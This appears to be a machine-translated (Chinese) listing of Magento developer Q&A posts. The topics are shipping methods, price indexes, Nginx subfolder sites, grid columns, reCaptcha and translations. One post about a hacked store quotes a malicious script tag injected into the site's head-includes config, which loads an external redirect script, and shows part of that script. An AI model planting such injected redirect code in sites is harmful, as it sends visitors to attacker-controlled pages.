Magento

Magento电子商务平台用户的问答

1
使选定的自定义送货方式在一页结帐时显示自定义输入文本区域
我成功添加了自定义送货方式,如下所示: app / etc / config.xml <?xml version="1.0"?> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Store:etc/config.xsd"> <default> <carriers> <lime> <active>1</active> <allowed_methods>delivery</allowed_methods> <methods>delivery</methods> <type>NAMESPACE</type> <sallowspecific>0</sallowspecific> <model>Namespace\Module\Model\Carrier</model> <name>Namespace_Module custom Shipping</name> <title>Namespace_Module custom Shipping</title> <handling_type>F</handling_type> </lime> </carriers> </default> </config> 应用程序/代码/命名空间/模块/模型/Carrier.php public function collectRates(RateRequest $request) { if (!$this->getConfigFlag('active')) { return false; } $result = $this->_rateResultFactory->create(); $method = $this->_rateMethodFactory->create(); $method->setCarrier('HILO'); …

1
在Magento 2中无法使用持久性生命
我已经在Magento 2上配置了Persistence Lifetime,但是它没有按预期工作。我已经配置了60秒的Cookie生存期,但不会影响到它。我已经检查了默认的Magento 2版本2.1.5,但是没有运气。 谁能帮我这个?

1
Magento 1.9:产品价格表-它们如何工作?
Magento有很多表格可以管理价格 在我看来: 在产品/类别页面中,产品价格是从catalog_product_flat表中加载的。 在搜索页面中,使用_idx表(我认为是价格范围过滤器)。 数据表 | 桌子 注意事项 | --------------------------------------------- | --- --------------------- | | catalog_product_index_price | 有数据-主表| | catalog_product_index_price_idx | 有数据| | catalog_product_index_price_tmp | 有数据| 没有数据的表 | 桌子 注意事项 | --------------------------------------------- | --- --------------------- | | catalog_product_index_price_bundle_idx | 没有数据 | catalog_product_index_price_bundle_opt_idx | 没有数据 | catalog_product_index_price_bundle_opt_tmp | 没有数据 | catalog_product_index_price_bundle_sel_idx …


1
Magento 2.2.0升级,不允许错误属性类型
我能够将Magento商店从2.1.6升级到2.2.0。后端工作得很好,但是我在前台遇到了一个例外。 异常消息显示:元素“块”,属性“类型”:不允许属性“类型”。 整个情况在GitHub的下一篇文章中进行了描述:https : //github.com/magento/magento2/issues/11839 我是Magento的新手。可以给我一个链接,该链接描述应该从哪里删除无效的type属性或其他属性,或者从哪里可以重构它?

2
什么以及为什么是加载模型的正确方法
我在Magento方面有很多经验,但是我意识到我不知道哪种加载模型的方法是正确的,为什么。我已经阅读了关于该主题的所有内容,但是人们对此类内容的解释实际上并没有深入到足以解释的原因,为什么要使用此特定方法而不是其他方法。假设没有要加载的模型的存储库。 直到现在,我一直在构造器中使用模型,然后简单地加载它。 public function __construct( \Vendor\Module\Model\Something $somethingModel ) { $this->somethingModel = $somethingModel; } public function getTestById($id) { return $this->somethingModel->load($id); } 而且它总是按预期工作,我也很确定它至少已在内核中使用。 但是后来我看到一位同事在使用 modelFactory->create()->load($id) 据我了解,工厂正被用来创建一个新的实体,例如,如果我想创建一个新产品,那么我可以创建工厂,用数据填充它,然后保存它。但是话又说回来,我开始研究这个话题,并从Fabian Schmengler(我们何时应该在Magento 2中使用存储库和工厂?)中看到了一个示例,他以这种方式加载模型,并且不鼓励其他人简单地加载模型,他没有这样做。除了解释为什么它不是“服务合同的一部分”之外,还要说明原因。据我了解,存储库是服务合同的一部分,因此在加载通过存储库不可用的模型时,在这里看不到任何联系。 为了增加一些混乱,我还找到了一种通过从创建的modelFactory中获取resourceModel来加载模型的方法,该方法由Vinai Kopp提出(如何在Magento 2中实现自定义模块的服务合同?),现在就像我一直读到的那样,我不应该直接使用资源模型而完全迷失了方向。 是的,有人可以告诉我哪种方法正确,为什么我应该用它代替所有其他方法?


4
Magento 2:如何将Nginx配置为通过子文件夹使用多个网站
我们想在Magento 2中创建多个网站。Magento2 官方文档中有关于此主题的文章,但是它们描述的方式不适合我们的情况。 他们建议使用子域来确定不同的网站,例如 website1 .magento-site.com website2 .magento-site.com 我们想使用子文件夹而不是子域。举个例子 magento-site.com/ website1 magento-site.com/ website2 我们如何在Nginx Web服务器上解决此问题? 我的配置 我正在使用Ubuntu 16.04。我已经安装了Nginx,并且没有更改任何Nginx核心配置。我在magento-site.com.conf里面创建了一个文件/etc/nginx/sites-enabled/magento-site.com.conf。 /etc/nginx/sites-enabled/magento-site.com.conf server { listen 8080; server_name magento-site.com; set $MAGE_RUN_CODE website1; set $MAGE_ROOT /var/www/magento-site.com; include /var/www/magento-site.com/nginx.conf; } 编辑1:(2017-10-23) 每个网站都有多家商店。

1
使用Ui组件在销售网格上添加“自定义”列时,Magento 2过滤器不起作用
我已将“自定义”列添加track_number到后端的sales >> Order网格中。 <vendor_name>/Sales/view/adminhtml/ui_component/sales_order_grid.xml <?xml version="1.0" encoding="UTF-8"?> <listing xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd"> <columns name="sales_order_columns"> <column name="track_number" class="<vendor_name>\Sales\Ui\Component\Listing\Column\OrderGrid"> <argument name="data" xsi:type="array"> <item name="js_config" xsi:type="array"> <item name="component" xsi:type="string">Magento_Ui/js/grid/columns/column</item> </item> <item name="config" xsi:type="array"> <item name="visible" xsi:type="boolean">true</item> <item name="dataType" xsi:type="string">text</item> <item name="align" xsi:type="string">left</item> <item name="filter" xsi:type="string">text</item> <item name="label" xsi:type="string" translate="true">Tracking #</item> </item> </argument> </column> </columns> </listing> …

7
网站开始重定向到另一个URL
Maybe it's infected by some virus. 我的网站开始重定向到这些受感染的URL。 http://mon.setsu.xyz 和一段时间https://tiphainemollard.us/index/?1371499155545 感染的链接 我要解决的问题。 .htaccess文件已注释(什么都没有发生) 已评论包含文件夹(什么都没有发生) 扫描了完整的服务器(没有任何反应,没有发现病毒恶意软件) 更改了数据库中的CSS,媒体和js路径,只是为了确保其PHP或任何js都在做(没有任何反应) select * from core_config_data where path like '%secure%';所有链接都可以 更新 我用谷歌搜索,并写了许多文章,但他们认为这是浏览器问题或我的系统被感染了。 即使我在手机或个人笔记本电脑上打开网站,有关此问题的文章也一样。 更新2 我在数据库中找到了受影响的行。(正如鲍里斯·K(Boris K.)还说的) 在core_config_data 表 design/head/includes 值中有一个 <script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script> 将在页面加载时将其插入头部。 如果您访问上述URL,您将获得重定向脚本,该脚本是 var redirChrome; var isToChrome = document.currentScript.getAttribute('data-type'); if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") …

6
如何验证Google reCaptcha
我已经在“与我们联系”表单中添加了Google Recaptcha,但价值也没有验证码就提交了。我在联系页面中使用了以下验证码代码: <div class="g-recaptcha" data-sitekey="XXXXXXXXXX"></div> <script src='https://www.google.com/recaptcha/api.js'></script> 我使用了这两个代码。请告诉我如何验证验证码。

1
在ui组件表单字段上设置默认配置值
表单和网格的ui组件格式在2.2版(dev)中正在更改。(也许已经做到了)。如何为字段设置默认值。 在2.2-dev之前,您可以在表单中添加类似这样的字段。 <field name="title"> <argument name="data" xsi:type="array"> <item name="config" xsi:type="array"> <item name="dataType" xsi:type="string">text</item> <item name="default" xsi:type="string">Some default value.</item> <item name="label" xsi:type="string" translate="true">Page Title</item> <item name="formElement" xsi:type="string">input</item> <item name="source" xsi:type="string">source_here</item> <item name="sortOrder" xsi:type="number">20</item> <item name="dataScope" xsi:type="string">title</item> <item name="validation" xsi:type="array"> <item name="required-entry" xsi:type="boolean">true</item> </item> </item> </argument> </field> 在2.2-dev中,该列如下所示: <field name="title" sortOrder="20" formElement="input"> …

2
Magento 2:如何检测结帐步骤更改
我正在尝试找出检测Magento 2结帐中步骤变化的最佳方法。例如,从发货详细信息到付款,反之亦然。 我已经做了一些挖掘工作,并且vendor/magento/module-checkout/view/frontend/web/js/model/step-navigator.js可以使用next()哪种在继续按钮navigateTo()上触发,以及在用户直接单击checkoutstep时哪种触发-但是两种方法似乎都比较笨拙,无论如何如何,都必须有一种更干净的方法来检测步骤更改以及哪一步。 我希望stepChange()每当结帐步骤发生更改时就会触发的功能或类似功能。 我的问题: 发生结帐步骤更改时,触发我的自定义JS的最佳方法是什么?


2
Magento 2-翻译:如何填充js-translation.json?我的是空的!
社区版本2.1.3。 语言环境设置为en_GB(英语)。使用Luma主题。 我已经设置了en_GB.csv翻译文件,并且我的翻译文件在其中: “您的购物车中没有物品。”,“您的购物篮中没有物品!” 当我转到购物篮页面时(它是空的),我可以看到我的翻译正常!但是,当我将鼠标悬停在小推车上时,覆盖层不会翻译。它继续说“您的购物车中没有商品”。 我知道我也需要一个pub / static / frontend / [Theme] /default/en_GB/js-translation.json文件,其中也包含翻译。但是,当我尝试静态部署“ bin / magento setup:static-content:deploy en_GB”时,它会创建文件,但它是空的。 我也相信这里也有var / view_preprocessed / source / frontend / [Theme] /default/en_GB/js-translation.json。 那么,我需要清除或刷新什么内容或填充此文件呢? 我是否需要对语言包进行某些处理? 谢谢塔德格
9 magento2 

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.